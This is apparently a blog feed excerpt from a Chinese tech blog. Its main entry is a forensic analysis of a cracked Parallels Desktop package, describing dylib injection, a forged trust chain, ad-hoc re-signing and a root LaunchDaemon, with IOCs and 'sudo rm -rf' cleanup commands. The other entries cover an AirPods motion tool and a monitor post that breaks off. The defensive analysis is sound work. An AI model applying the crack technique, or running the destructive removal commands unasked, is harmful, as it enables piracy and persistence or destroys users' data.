ASCII 的 <code>UUID</code>。）</p><p>扫描全部 32 个文件：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">文件名              段名        目标                        解压总量</span><br><span class="line">11a992dc882b08de   PAGEZERO   channel.cert_p-5555…       32,150,632</span><br><span class="line">1b64b8c4e313fd17   PAGEZERO   upportchannel.cert_p-…     81,515,336</span><br><span class="line">2426ed818d7b6e77   PAGEZERO   channel.cert_1014_p-…      17,857,160</span><br><span class="line">...</span><br><span class="line">涉及目标: channel.cert / upportchannel.cert / channel.cert_1014</span><br></pre></td></tr></table></figure><p><strong>这 32 个文件，是为 32 个不同 Parallels 版本预先算好的「二进制补丁 + 代码签名页哈希表」。</strong></p><p>这直接解释了我之前最大的困惑：为什么能小版本升级？不是因为授权合法，而是<strong>作者把 32 个版本的补丁全部提前做好了</strong>。</p><hr><h2 id="破解原理"><a href="#破解原理" class="headerlink" title="破解原理"></a>破解原理</h2><p>到这里机制已经完全清楚。</p><p><img src="/images/pd-crack-vs-genuine.svg" alt="正版激活与破解激活对比"></p><p>核心就一句话：把「向 Parallels 服务器证明你有授权」替换成「向破解自己提供的信任锚证明」。</p><p>具体分四层：</p><p><img src="/images/pd-crack-layers.svg" alt="破解四层机制"></p><h3 id="第一层：dylib-注入"><a href="#第一层：dylib-注入" class="headerlink" title="第一层：dylib 注入"></a>第一层：dylib 注入</h3><p>Mach-O 头部有一串 <code>LC_LOAD_DYLIB</code>，列出程序依赖哪些动态库，dyld 启动时会全部加载。破解在末尾追加了一条：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">otool -l prl_client_app | grep -c <span class="string">&#x27;cmd LC_LOAD_DYLIB&#x27;</span></span></span><br><span class="line">106</span><br><span class="line"></span><br><span class="line">   105   /usr/lib/libobjc.A.dylib</span><br><span class="line">   106   /Library/Application Support/Parallels/channel.cert   ← 最后一条</span><br></pre></td></tr></table></figure><p>追加在所有原始依赖之后，是 dylib 注入的典型特征。而 <code>channel.cert</code> 其实是个 dylib，改名只为在目录里看起来像证书：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">file channel.cert</span></span><br><span class="line">Mach-O universal binary: [x86_64:dynamically linked shared library] [arm64]</span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">otool -L channel.cert | <span class="built_in">head</span> -2</span></span><br><span class="line">/usr/local/lib/libchannel.dylib (current version 27.0.1)</span><br><span class="line">/System/Library/Frameworks/CFNetwork.framework/...</span><br></pre></td></tr></table></figure><p>它的加载时入口：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sectname __mod_init_func    size 0xd0    ← 208 字节 = 26 个构造函数指针</span><br></pre></td></tr></table></figure><p><code>__mod_init_func</code> 里的函数在 dylib 被加载时自动执行，<strong>早于 <code>main()</code></strong>——程序自己的代码还没开始跑，钩子已经装好了。</p><h3 id="第二层：函数挂钩"><a href="#第二层：函数挂钩" class="headerlink" title="第二层：函数挂钩"></a>第二层：函数挂钩</h3><p>Parallels 用 Qt 编写，授权校验走 Qt 网络栈。这个 dylib 正好链接了 <code>QtNetwork</code>、<code>QtCore</code>、<code>Security</code>、<code>CFNetwork</code>。构造函数在 <code>main()</code> 前改写导入表，把校验相关调用重定向到自己的实现。</p><p>具体 hook 了哪些函数看不到——它上了商业级保护壳：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">nm -u channel_arm64.dylib | <span class="built_in">wc</span> -l</span></span><br><span class="line">5748                              # 5748 个导入符号</span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">nm -u channel_arm64.dylib | <span class="built_in">head</span> -1</span></span><br><span class="line">0��LMk=���T��Nx/���ȩ...          # 名字全是密文</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">otool -l channel_arm64.dylib | awk <span class="string">&#x27;/sectname/&#123;print&#125;&#x27;</span></span></span><br><span class="line">  sectname                        # 节名被抹空</span><br><span class="line">  sectname</span><br><span class="line">  sectname __gcc_except_tab</span><br></pre></td></tr></table></figure><h3 id="第三层：伪造信任锚"><a href="#第三层：伪造信任锚" class="headerlink" title="第三层：伪造信任锚"></a>第三层：伪造信任锚</h3><p>授权数据是签名的，程序会验签。破解装了一条 4 级证书链作为 <code>.pubkey</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">desktop.parallels.com</span><br><span class="line">  ← Parallels Desktop CA</span><br><span class="line">    ← Paralels Issuing CA #1</span><br><span class="line">      ← Parallels External root CA</span><br></pre></td></tr></table></figure><p>配合加密的 <code>licenses.db</code>，伪造的授权用这条链验签自然通过。</p><h3 id="第四层：重签名（死穴所在）"><a href="#第四层：重签名（死穴所在）" class="headerlink" title="第四层：重签名（死穴所在）"></a>第四层：重签名（死穴所在）</h3><p><strong>只要改动 Mach-O 哪怕一个字节，原签名即失效，macOS 拒绝加载。</strong> 所以必须重签。但破解没有 Parallels 的私钥，只能用 adhoc 签名。</p><p>这条约束是物理性的、绕不过去的，它直接产生了全部可观测证据：</p><ul><li><code>Signature=adhoc</code>、<code>TeamIdentifier=not set</code></li><li><code>spctl</code> 判定 <code>rejected</code></li><li>安装脚本必须 <code>xattr -cr</code></li></ul><p><strong>反过来说：「adhoc 签名」本身就是「这个程序被改过」的铁证</strong>，不需要任何额外推理。</p><p>而重算签名很贵——<code>prl_client_app</code> 有 60 MB，要逐页做 SHA256。所以作者提前算好，打包成 <code>certs/</code> 里那 32 个文件，安装时按版本查表直接套用。</p><h3 id="持久化"><a href="#持久化" class="headerlink" title="持久化"></a>持久化</h3><p>Parallels 升级会用原厂文件覆盖被打过补丁的文件，破解就失效了。所以还需要一个常驻进程：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">plutil -p /Library/LaunchDaemons/com.parallels.certificate.plist</span></span><br><span class="line">&#123;</span><br><span class="line">  &quot;Label&quot;            =&gt; &quot;com.parallels.certificate&quot;</span><br><span class="line">  &quot;ProgramArguments&quot; =&gt; [&quot;/Library/Application Support/Parallels/Parallels Certificate&quot;]</span><br><span class="line">  &quot;UserName&quot;         =&gt; &quot;root&quot;</span><br><span class="line">  &quot;RunAtLoad&quot;        =&gt; true</span><br><span class="line">  &quot;KeepAlive&quot;        =&gt; &#123; &quot;Crashed&quot; =&gt; true, &quot;SuccessfulExit&quot; =&gt; false &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>root 权限、开机自启、崩溃重拉。<code>.data/{.c,.d,.v}</code> 里备份的 107 MB 原始二进制，就是它做差分补丁的基准。</p><h3 id="为什么这套能成功"><a href="#为什么这套能成功" class="headerlink" title="为什么这套能成功"></a>为什么这套能成功</h3><p>三个前提缺一不可：</p><ol><li><code>/Applications</code> 和 <code>/Library/Application Support</code> <strong>不受 SIP 保护</strong>（SIP 只锁 <code>/System</code>、<code>/usr</code> 等）</li><li>安装时用户<strong>授予了管理员权限</strong></li><li>Parallels <strong>没有有效的运行时自检</strong>——或者说自检代码和注入的 dylib 在同一个进程里，已经被绕过</li></ol><hr><h2 id="杀软怎么说"><a href="#杀软怎么说" class="headerlink" title="杀软怎么说"></a>杀软怎么说</h2><p>Avira 的检测记录库（<code>activitylog.db</code>，全局可读）里翻到了判定名：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">sqlite3 activitylog.db <span class="string">&quot;SELECT datetime(timestamp,&#x27;unixepoch&#x27;,&#x27;localtime&#x27;), arg1, arg2</span></span></span><br><span class="line">                          FROM log WHERE arg2 LIKE &#x27;%OSX%&#x27; ORDER BY timestamp;&quot;</span><br><span class="line"></span><br><span class="line">2026-08-18 13:39:15 | LicenseInstaller      | TR/OSX.Stealer.IW</span><br><span class="line">2026-08-18 13:41:02 | Parallels Certificate | TR/OSX.Stealer.IW</span><br><span class="line">2026-09-13 16:05:36 | LicenseInstaller      | TR/OSX.Stealer.IW</span><br><span class="line">2026-09-13 16:06:48 | Parallels Certificate | TR/OSX.Stealer.IW</span><br></pre></td></tr></table></figure><p><code>TR/</code> &#x3D; 木马，<code>Stealer</code> &#x3D; 信息窃取。<strong>不是 PUA &#x2F; Riskware &#x2F; Crack 那一类。</strong></p><p>两点必须说明：</p><ul><li>单一厂商的检测名是信号不是铁证。不过 <code>.IW</code> 是具体变种签名，不是 <code>TR/Malware</code> 那种兜底桶。</li><li>我的静态分析没能看到窃密行为：无明文 URL、无外联连接、无监听端口。但该二进制字符串表与符号表全部加密，<strong>我无法排除运行时解密后的行为</strong>。</li></ul><p>有个细节值得注意：Avira 会在文件落盘瞬间删掉安装器（连 <code>shasum</code> 都读不到，报 <code>Operation not permitted</code>），但<strong>已经落地的 root 守护进程和注入的 dylib 一直原封不动躺在盘上</strong>。</p><p>也就是说，你看到的报毒是针对 Downloads 里的安装器残留，不是针对正在生效的载荷。只删 Downloads 那个文件夹，报警会消失，但 root daemon 和 dylib 还在。</p><p>万幸的一点：这台机器自 9&#x2F;13 安装后一直没重启，<code>RunAtLoad</code> 从未触发。</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">ls</span> /var/log/certificate.log</span></span><br><span class="line">No such file or directory              # StandardOutPath 从未被创建</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">log</span> show --predicate <span class="string">&#x27;process == &quot;launchd&quot; AND eventMessage CONTAINS &quot;parallels.certificate&quot;&#x27;</span></span></span><br><span class="line">(空)                                    # launchd 从未加载过它</span><br></pre></td></tr></table></figure><p>那个被判为 Stealer 的 root 组件<strong>一次都没执行过</strong>——但一重启就会首次以 root 运行。所以清理必须赶在重启前。</p><hr><h2 id="那个激活码到底是真是假"><a href="#那个激活码到底是真是假" class="headerlink" title="那个激活码到底是真是假"></a>那个激活码到底是真是假</h2><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">prlsrvctl info | grep License</span></span><br><span class="line">License: state=&#x27;valid&#x27; key=&#x27;4BYWP3-XXXXXX-XXXXXX-XXXXXX-XXXXXX&#x27; restricted=&#x27;false&#x27;</span><br></pre></td></tr></table></figure><p>key 是 30 位、5 组 × 6 位，<strong>符合 Parallels 官方规范</strong>，说明卖家给的不是随手编的字符串。</p><p>但 <code>state=&#39;valid&#39;</code> <strong>完全不能采信</strong>——报出这句话的 <code>prlsrvctl</code> 属于那个被打了补丁的 app，而注入的 dylib 劫持的正是授权校验路径。等于让嫌疑人自证清白。</p><p><strong>从这台机器上，永远问不出这个 key 是真是假。</strong> 唯一的判定方法是：卸干净，装官方版，输入这个 key。</p><ul><li>激活成功 → key 是真的（但来源仍可能有问题，后续可能被吊销）</li><li>提示无效 → key 只是个道具，让交易看起来像正经买卖</li></ul><p>不过这个问题其实已经不重要了。整套机制里<strong>没有任何一环与 Parallels 服务器发生真实交互</strong>——哪怕你的 key 百分之百是正版，你装的这个程序也已经被第三方改过了。<strong>授权的合法性和二进制的完整性，是两件独立的事。</strong></p><hr><h2 id="怎么自查"><a href="#怎么自查" class="headerlink" title="怎么自查"></a>怎么自查</h2><p>如果你也在第三方渠道买过 Parallels 授权，三条命令就能判断：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">codesign -dv /Applications/Parallels\ Desktop.app 2&gt;&amp;1 | grep -E <span class="string">&#x27;Signature|TeamIdentifier&#x27;</span></span><br></pre></td></tr></table></figure><p>正常应该显示 <code>Authority=Developer ID Application: Parallels International GmbH</code> 和一个 Team ID。如果是 <code>Signature=adhoc</code> &#x2F; <code>TeamIdentifier=not set</code>，已经被改了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la /Library/LaunchDaemons/ | grep -i parallels</span><br></pre></td></tr></table></figure><p>正版不会有 <code>com.parallels.certificate.plist</code> 这种东西。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">otool -L /Applications/Parallels\ Desktop.app/Contents/MacOS/prl_client_app | grep -i <span class="string">&#x27;Application Support&#x27;</span></span><br></pre></td></tr></table></figure><p>主程序不应该依赖 <code>/Library/Application Support/</code> 下的任何动态库。</p><h3 id="清理"><a href="#清理" class="headerlink" title="清理"></a>清理</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> launchctl bootout system/com.parallels.certificate 2&gt;/dev/null</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">rm</span> -f /Library/LaunchDaemons/com.parallels.certificate.plist</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">rm</span> -rf <span class="string">&quot;/Library/Application Support/Parallels&quot;</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">rm</span> -rf <span class="string">&quot;/Applications/Parallels Desktop.app&quot;</span></span><br></pre></td></tr></table></figure><p>虚拟机文件在 <code>~/Parallels/</code>，不受影响，重装官方版后可直接使用。</p><hr><h2 id="IOC"><a href="#IOC" class="headerlink" title="IOC"></a>IOC</h2><p><strong>域名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">download.parallels.zip</span><br><span class="line">cert.parallels.zip</span><br><span class="line">cdn.parallels.zip</span><br></pre></td></tr></table></figure><p><strong>文件哈希（SHA256）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">20bcb7fbab3cf3a268585df02e14ddbd2e76a3d795a51c6395e88b60b8185c38  LicenseInstaller</span><br><span class="line">584b7a8a67d8bce45794e9fc15d4551639eae0ca754285a2942149b8b63362d7  Parallels Certificate</span><br><span class="line">30288fe7a35511e6601871bf0196d9294a6cdd83fdf312fcca8fc1c9800ed029  channel.cert</span><br><span class="line">a4b2f2bb07fdf6013456d6ea680233b7cbc798013a142cd5cc6f220735991e62  install.sh</span><br></pre></td></tr></table></figure><p><strong>落地路径</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">/Library/LaunchDaemons/com.parallels.certificate.plist</span><br><span class="line">/Library/Application Support/Parallels/Parallels Certificate</span><br><span class="line">/Library/Application Support/Parallels/channel.cert</span><br><span class="line">/Library/Application Support/Parallels/.pubkey</span><br><span class="line">/Library/Application Support/Parallels/.data/&#123;.c,.d,.v&#125;</span><br><span class="line">~/Downloads/LicenseInstaller/</span><br></pre></td></tr></table></figure><p><strong>检测名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Avira: TR/OSX.Stealer.IW</span><br></pre></td></tr></table></figure><hr><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p>买到的不是「企业版授权」，是一个破解包加一个格式正确的激活码。激活码大概率只是让交易看起来像正经买卖的道具——真正让软件能用的，是那个 root 守护进程和注入进程的 dylib。</p><p>几点教训：</p><p><strong>第一，<code>curl | bash</code> 之前先把脚本下下来看一眼。</strong> 就多一步的事，这次的脚本里那行 <code>xattr -cr</code> 单独拎出来就足够定性。</p><p><strong>第二，域名里包含品牌名 ≠ 官方域名。</strong> <code>.zip</code>、<code>.app</code> 这类新 TLD 尤其要警惕，它们天然容易和文件名混淆。真官方域名一般用 MarkMonitor 这类企业品牌保护注册商，whois 里能查到公司名。</p><p><strong>第三，macOS 上判断一个 app 是否被动过，<code>codesign</code> + <code>spctl</code> 两条命令就够了。</strong> 二进制补丁必然破坏签名，这是绕不过去的物理约束——无论破解做得多精致，adhoc 签名这个尾巴藏不住。</p><p><strong>第四，杀软报毒后别只删报出来的那个文件。</strong> 这次 Avira 秒删安装器，却对已经落地的 root 守护进程无动于衷。真正危险的组件往往不是被报出来的那个。</p><p>至于 120 块——就当买了个样本，写了篇文章。</p><hr><p><em>本文为个人设备上的安全取证记录。文中的分析方法（静态分析、已知明文攻击）均为公开的标准手段，用于理解自己机器上运行的是什么。相关样本未作传播。</em></p>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/09/15/parallels-fake-enterprise-license/</id>
    <link href="https://zhangwenqiang.com/2026/09/15/parallels-fake-enterprise-license/"/>
    <published>2026-09-15T03:30:00.000Z</published>
    <summary>
      <![CDATA[<p>在闲鱼上花 120 元买了一份 Parallels Desktop「企业版授权」，卖家给了激活码，装完能用，还能小版本升级。直到杀毒软件报毒，才顺手查了一下——结果整条链拆下来，是个彻头彻尾的破解包。</p>
<p>这篇记录完整的取证过程和证据链。</p>]]>
    </summary>
    <title>闲鱼 120 元买的「Parallels 企业版授权」，拆开发现是破解版</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="折腾记录" scheme="https://zhangwenqiang.com/categories/%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
    <category term="杂记" scheme="https://zhangwenqiang.com/tags/%E6%9D%82%E8%AE%B0/"/>
    <content>
      <![CDATA[<p>用 Hexo + Butterfly 搭的，托管在 GitHub Pages 上。</p><span id="more"></span><h2 id="为什么搭这个"><a href="#为什么搭这个" class="headerlink" title="为什么搭这个"></a>为什么搭这个</h2><p>平时折腾的东西不少——写点小工具、修修家里的设备、给自己造些没人需要的轮子。<br>做完就散在各处，过阵子连自己都想不起当时是怎么弄的。</p><p>开个博客，把踩过的坑和做出来的东西留个底。主要写给未来的自己看。</p><h2 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h2><ul><li><strong>框架</strong>：<a href="https://hexo.io/">Hexo</a> —— Node.js 的静态博客生成器</li><li><strong>主题</strong>：<a href="https://butterfly.js.org/">Butterfly</a></li><li><strong>托管</strong>：GitHub Pages，免费 + 自带 HTTPS</li></ul><h2 id="打算写什么"><a href="#打算写什么" class="headerlink" title="打算写什么"></a>打算写什么</h2><ul><li>自己做的小东西，和做的过程</li><li>折腾家里软硬件的记录</li><li>一些踩坑，以及后来是怎么爬出来的</li></ul><p>先立个 flag，慢慢填。</p>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/09/14/hello-world/</id>
    <link href="https://zhangwenqiang.com/2026/09/14/hello-world/"/>
    <published>2026-09-14T10:00:00.000Z</published>
    <summary>
      <![CDATA[<p>用 Hexo + Butterfly 搭的，托管在 GitHub Pages 上。</p>]]>
    </summary>
    <title>博客上线了</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="折腾记录" scheme="https://zhangwenqiang.com/categories/%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
    <category term="macOS" scheme="https://zhangwenqiang.com/tags/macOS/"/>
    <category term="Swift" scheme="https://zhangwenqiang.com/tags/Swift/"/>
    <category term="自己写的小东西" scheme="https://zhangwenqiang.com/tags/%E8%87%AA%E5%B7%B1%E5%86%99%E7%9A%84%E5%B0%8F%E4%B8%9C%E8%A5%BF/"/>
    <content>
      <![CDATA[<p>空间音频听起来很魔法：你转头，声音的方向不跟着转，像是真有个音响立在房间某处。</p><p>能做到这件事，是因为<strong>耳机知道你的头朝哪边</strong>。AirPods 里装着一整套惯性测量单元——加速度计、陀螺仪，实时算出你的头部姿态。</p><p>那些数据是公开可读的。于是我写了个小工具，把它显示出来。</p><span id="more"></span><h2 id="它做什么"><a href="#它做什么" class="headerlink" title="它做什么"></a>它做什么</h2><p>打开 app，点「开始」，屏幕中央会出现一个 3D 人头。<strong>你怎么动，它怎么动。</strong></p><p><img src="/img/airpods/head-preview.png" alt="五种姿态下的 3D 人头预览"></p><p style="text-align:center;color:#9a9a9a;font-size:.9em;margin-top:-.6em">从左到右：正面 · 低头 · 左转 · 歪头 · 三轴组合</p><p>顶部显示采样率和累计帧数。下面列着实时读数：</p><table><thead><tr><th>读数</th><th>含义</th></tr></thead><tbody><tr><td>Pitch 俯仰</td><td>抬头 &#x2F; 低头</td></tr><tr><td>Roll 侧倾</td><td>左右歪头</td></tr><tr><td>Yaw 偏航</td><td>左右转头</td></tr><tr><td>用户加速度</td><td>已扣掉重力，静止时接近 0</td></tr><tr><td>角速度</td><td>rad&#x2F;s</td></tr></tbody></table><p>没别的功能。它就是个窗口，让你看见耳机一直在看的东西。</p><h2 id="一件有意思的事：偏航会漂"><a href="#一件有意思的事：偏航会漂" class="headerlink" title="一件有意思的事：偏航会漂"></a>一件有意思的事：偏航会漂</h2><p>坐着别动，盯着 Yaw 那一栏看几分钟，你会发现它在<strong>缓慢地、单向地爬</strong>。</p><p>不是你在动，是陀螺仪在漂。</p><p>俯仰和侧倾不会，因为<strong>重力是个永远在那儿的参照物</strong>——耳机随时能拿它校准”哪边是下”。但左右转头这个方向，重力帮不上忙。手机靠磁力计（也就是指南针）解决这个问题，而 <strong>AirPods 没有磁力计</strong>。</p><p>所以偏航只能靠陀螺仪一点点累积角速度推算，误差也就一点点累积。</p><p>我做了个工具专门量它：按 <strong>⌘D</strong>，戴着耳机静置三分钟，它会告诉你三个轴各自漂多快（°&#x2F;min）。俯仰和侧倾的读数可以当对照组——<strong>如果它俩几乎不动，而偏航在持续单向爬升，那个爬升就是零偏</strong>。</p><blockquote><p>⚠️ 测的时候别摘耳机。耳机一离耳，运动数据流立刻断掉。</p></blockquote><p>这也是为什么要有「重设零点」这个功能（<strong>⌘K</strong>）。用着用着觉得人头朝向歪了，按一下，把当前朝向重新定义成正前方。</p><h2 id="校准"><a href="#校准" class="headerlink" title="校准"></a>校准</h2><p>首次使用建议跑一遍引导校准（<strong>⇧⌘K</strong>）。四步，每步都要你手动确认，程序不会自己往下走：</p><table><thead><tr><th>步骤</th><th>动作</th></tr></thead><tbody><tr><td>1</td><td>坐正看向屏幕（3 秒倒计时，结束时的朝向记为零点）</td></tr><tr><td>2</td><td>慢慢低头看键盘</td></tr><tr><td>3</td><td>慢慢把头转向左边</td></tr><tr><td>4</td><td>把头歪向右肩</td></tr></tbody></table><p>后三步只要幅度到位、保持一秒就行，屏幕上有进度条。结果会存下来，下次启动自动沿用。</p><p>按 Esc 随时可以退出。</p><h2 id="怎么装"><a href="#怎么装" class="headerlink" title="怎么装"></a>怎么装</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/zhangwenqiang0214/airpods-motion.git</span><br><span class="line"><span class="built_in">cd</span> airpods-motion</span><br><span class="line">./build.sh</span><br></pre></td></tr></table></figure><p><strong>然后从访达双击 <code>AirPodsMotion.app</code> 启动。</strong></p><blockquote><p>⚠️ 别在终端里运行。macOS 的权限系统会把终端认作发起方，而终端没有声明运动权限，进程会被直接杀掉。这个行为挺隐蔽的——没有报错，就是启动不了。</p></blockquote><p>第一次点「开始」会弹窗问「想要访问运动与健身数据」，选允许。不想给了随时可以在 系统设置 › 隐私与安全性 › 运动与健身 里撤销。</p><h2 id="环境要求"><a href="#环境要求" class="headerlink" title="环境要求"></a>环境要求</h2><ul><li>macOS 14 或更新</li><li>支持头部追踪的 AirPods——<strong>Pro &#x2F; Max &#x2F; 第三代及以后</strong>，老款没有这套传感器</li><li>Xcode 命令行工具（编译用）</li></ul><h2 id="关于数据"><a href="#关于数据" class="headerlink" title="关于数据"></a>关于数据</h2><p>读到的姿态数据<strong>只在内存里</strong>。不落盘，不上传，不发给任何人。关掉 app 就没了。</p><p>这本来是句废话，但现在不说清楚好像不行。</p><h2 id="技术"><a href="#技术" class="headerlink" title="技术"></a>技术</h2><p>Swift + SwiftUI + SceneKit，<strong>零第三方依赖</strong>。数据来自 CoreMotion 的 <code>CMHeadphoneMotionManager</code>——苹果开的口子，正经 API，不是什么黑魔法。</p><hr><p>代码在 <strong><a href="https://github.com/zhangwenqiang0214/airpods-motion">github.com&#x2F;zhangwenqiang0214&#x2F;airpods-motion</a></strong>。</p><p>写它没什么实用目的。只是觉得，一副耳机里藏着能感知你怎么转头的东西，这件事本身值得看一眼。</p>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/09/14/airpods-motion/</id>
    <link href="https://zhangwenqiang.com/2026/09/14/airpods-motion/"/>
    <published>2026-09-14T08:00:00.000Z</published>
    <summary>
      <![CDATA[<p>空间音频听起来很魔法：你转头，声音的方向不跟着转，像是真有个音响立在房间某处。</p>
<p>能做到这件事，是因为<strong>耳机知道你的头朝哪边</strong>。AirPods 里装着一整套惯性测量单元——加速度计、陀螺仪，实时算出你的头部姿态。</p>
<p>那些数据是公开可读的。于是我写了个小工具，把它显示出来。</p>]]>
    </summary>
    <title>AirPods 里藏着一个陀螺仪</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="折腾记录" scheme="https://zhangwenqiang.com/categories/%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
    <category term="macOS" scheme="https://zhangwenqiang.com/tags/macOS/"/>
    <category term="显示器" scheme="https://zhangwenqiang.com/tags/%E6%98%BE%E7%A4%BA%E5%99%A8/"/>
    <category term="硬件" scheme="https://zhangwenqiang.com/tags/%E7%A1%AC%E4%BB%B6/"/>
    <content>
      <![CDATA[<p>买了块 2K 144Hz 的显示器，接上 MacBook，打开系统设置——刷新率那一栏最高只有 <strong>133Hz</strong>。</p><p>不是 144，也不是 120，是 133。这个数字很奇怪，奇怪到不像是厂商会标的规格，倒像是某个地方算出来的余数。</p><p>它确实是算出来的。</p><span id="more"></span><h2 id="先确认屏幕没被冤枉"><a href="#先确认屏幕没被冤枉" class="headerlink" title="先确认屏幕没被冤枉"></a>先确认屏幕没被冤枉</h2><p>第一件事是排除「这屏本来就不是 144Hz」。</p><p>显示器会把自己的能力写在 EDID 里，交给电脑读。解开它的基础块，第一条 detailed timing descriptor 写着：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">首选时序   2560 x 1440 @ 60Hz</span><br><span class="line">像素时钟   241.70 MHz</span><br><span class="line">总时序     2720 x 1481</span><br><span class="line">刷新范围   48 – 144 Hz</span><br><span class="line">最大像素时钟  600 MHz</span><br></pre></td></tr></table></figure><p>屏幕很清白：它确实是 2560×1440 的原生面板，支持到 144Hz，自己能吃下 600MHz 的像素时钟。</p><blockquote><p><strong>顺便说个容易被骗的地方</strong>：macOS 的 <code>ioreg</code> 里有个 <code>NativeFormatHorizontalPixels</code> 字段，看起来像是在告诉你面板的物理分辨率。它不是。这块屏在那里报的是 <code>1920x1080</code>——那读的是 CTA-861 扩展块里 VIC 16（1080p60）上置的 native 标记位，是给 HDMI 电视用的格式标记。判断面板原生分辨率，要去解 EDID 基础块的第一条 detailed timing descriptor。</p></blockquote><h2 id="瓶颈在半路上"><a href="#瓶颈在半路上" class="headerlink" title="瓶颈在半路上"></a>瓶颈在半路上</h2><p>屏幕没问题，那问题在中间这段路。</p><p>链路是这样的：<strong>MacBook Air M4 → USB-C 拓展坞（DP alt mode）→ HDMI → 显示器</strong>。</p><p>macOS 自己记着这条链路能跑多快，藏在 <code>DisplayHints</code> 里：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MaxTotalPixelRate = 537,300,000</span><br></pre></td></tr></table></figure><p><strong>537.3 MHz。</strong> 屏幕能吃 600MHz，链路只给 